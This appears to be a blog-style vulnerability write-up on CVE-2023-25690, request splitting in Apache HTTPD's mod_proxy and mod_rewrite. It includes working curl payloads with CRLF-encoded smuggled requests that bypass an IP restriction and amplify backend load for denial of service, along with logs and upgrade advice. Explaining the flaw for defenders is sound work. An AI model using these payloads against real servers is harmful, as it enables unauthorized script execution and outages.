Apache HTTPD Request Splitting - CVE-2023-25690
Below I'd like to demonstrate a relatively recent critical vulnerability in the popular Apache HTTPD web server using a real-life example.
There is a reason why the vulnerability received a critical score of 9.8, as it is relatively easy to exploit and causes a spectacular flaw.
The bug targets HTTPD's mod_proxy and mod_rewrite modules, exploiting the bug to "smuggle" an HTTP request to the backend server without validation, similar to "http request smuggling", but much simpler.
This way, depending on the logic of the web application, you can bypass frontend checks and disallowances and/or launch a very simple denial of service attack against the backend.
Let's see how this looks in practice:
The client runs a PHP script as a cronjob on its web server which generates a report every night from the day's data and sends it to some recipients via email. The PHP script is running on the backend, the frontend apache configuration is limited to a few IP addresses and a relatively common reverse proxy configuration is shown:
RewriteEngine on
RewriteRule "^/products/(.*)" "http://localhost:10003/products.php?id=$1" [P]
ProxyPassReverse "/products/" "http://localhost:10003/"
Order deny,allow
Deny from all
Allow from X.Y.Z.W
The Apache HTTPD vulnerability:
Apache HTTPD from version 2.4.0 to 2.4.55 included the vulnerability, so it has included the following bug for practically 10 years:
For example, using the RewriteRule above and the mod_proxy module, you will be able to embed one or more HTTP requests into another HTTP request, which will be interpreted by the backend web server as a separate HTTP request.
By default, if you call the generate.php script from outside, you will get an HTTP 403 response, so everything seems to be fine:
[user@pentest ~]# curl -I https://vulnerableserver.com/report/generate.php
HTTP/1.1 403 Forbidden
The vulnerability can be exploited with HTTP Header Injection in the following way: the rewrite rule shown above will convert the string "products/1" in the URL to "products.php?id=1", but due to a bug in the module, the following HTML encoded text will be passed to the web server and the backend server, so we can overwrite the HTTP header that the frontend would send to the backend.
In the command below, is the space equivalent and is the line break equivalent.
The first part of the curl command is a completely valid request to the frontend server, the second part is a smuggled HTTP request targeting the backend and trying to run the forbidden generate.php script on the frontend.
curl https://vulnerablewebserver.com/products/1%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0a
Since our curl command will only get respond to the original, valid HTTP request, we won't necessarily see on the client side if the request smuggling was successful, but we will see the result in the web server frontend and backend logs.
For our first request we only see 403 on the frontend, it didn't even reach the backend, but our second request seems to have hit the backend, the script ran with HTTP 200 response code.
FRONTEND LOG:
10.1.2.3 - - [30/Nov/2023:12:46:04 +0100] "HEAD /report/generate.php HTTP/1.1" 403 - "-" "curl/7.29.0"
10.1.2.3 - - [30/Nov/2023:12:46:22 +0100] "GET /products/1%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0a HTTP/1.1" 200 3 "-" "curl/7.29.0"
BACKEND LOG:
::1 - - [30/Nov/2023:12:46:22 +0100] "GET /products.php?id=1 HTTP/1.1" 200 3 "-" "-"
::1 - - [30/Nov/2023:12:46:22 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
So this is an unauthorized PHP script run on the backend web server. This is a problem in itself, but an even more serious problem is that the smuggled HTTP requests can be concatenated in the original HTTP request, allowing for a very simple DoS attack, since the maximum length of a GET request is 8190 bytes by default, so we can easily multiply our second request:
curl https://vulnerablewebserver.com/products/1%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:localhost%0d%0a%0d%0a
And in the logs you can see that we made ten requests to the backend with a single request on the frontend. If we use the full 8190 bytes, we can easily generate 30-40 times the load on the backend, not to mention that we can bypass caching mechanisms in general.
FRONTEND LOG:
10.1.2.3 - - [30/Nov/2023:12:07:51 +0100] "GET /products/1%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0aGET%20/report/generate.php%20HTTP/1.1%0d%0aHost:vulnerablewebserver.com%0d%0a%0d%0a HTTP/1.1" 200 3 "-" "curl/7.29.0"
BACKEND LOG:
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /products.php?id=1 HTTP/1.1" 200 3 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
::1 - - [30/Nov/2023:12:07:51 +0100] "GET /report/generate.php HTTP/1.1" 200 4 "-" "-"
If the script running on the backend involves high CPU and memory intensive operations (e.g. database operations), the server can easily be overloaded.
As a workaround, it is recommended to upgrade to at least version 2.4.56.
Kulcsár László
Red Hat Certified Architect